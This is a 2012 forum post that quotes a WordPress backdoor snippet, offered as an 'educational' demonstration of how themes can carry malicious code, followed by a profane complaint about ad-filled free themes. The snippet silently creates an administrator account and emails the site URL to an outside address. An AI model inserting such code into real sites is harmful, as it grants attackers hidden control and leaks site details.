View Single Post
Old 01-20-2012, 04:04 PM  
bpluva
Confirmed User
 
Industry Role:
Join Date: Apr 2011
Posts: 235
Quote:
Originally Posted by fris View Post
thats the thing about wp, its incredibly easy to do nasty stuff.

this is for educational purposes only

Code:
add_action('init', 'silly_backdoor');

function silly_backdoor() {
		if (!username_exists('douchebag')) {
			$user_id = wp_create_user('douchebag', 'ahjsa97812jkjh');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
			mail('[email protected]', "New theme install" , get_bloginfo('url'));
		}
}
would create an admin account and email details once added with site url details.
Thank you for sharing this. I always thought what is there to stop people if they wanted to add malicious code. Now I clearly see they do.

I downloaded a theme to try out and it had tons of fucking ads in the admin/dashboard. People are just pure shitheads. Turn something free into bullshit they all can suck a dick!
bpluva is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote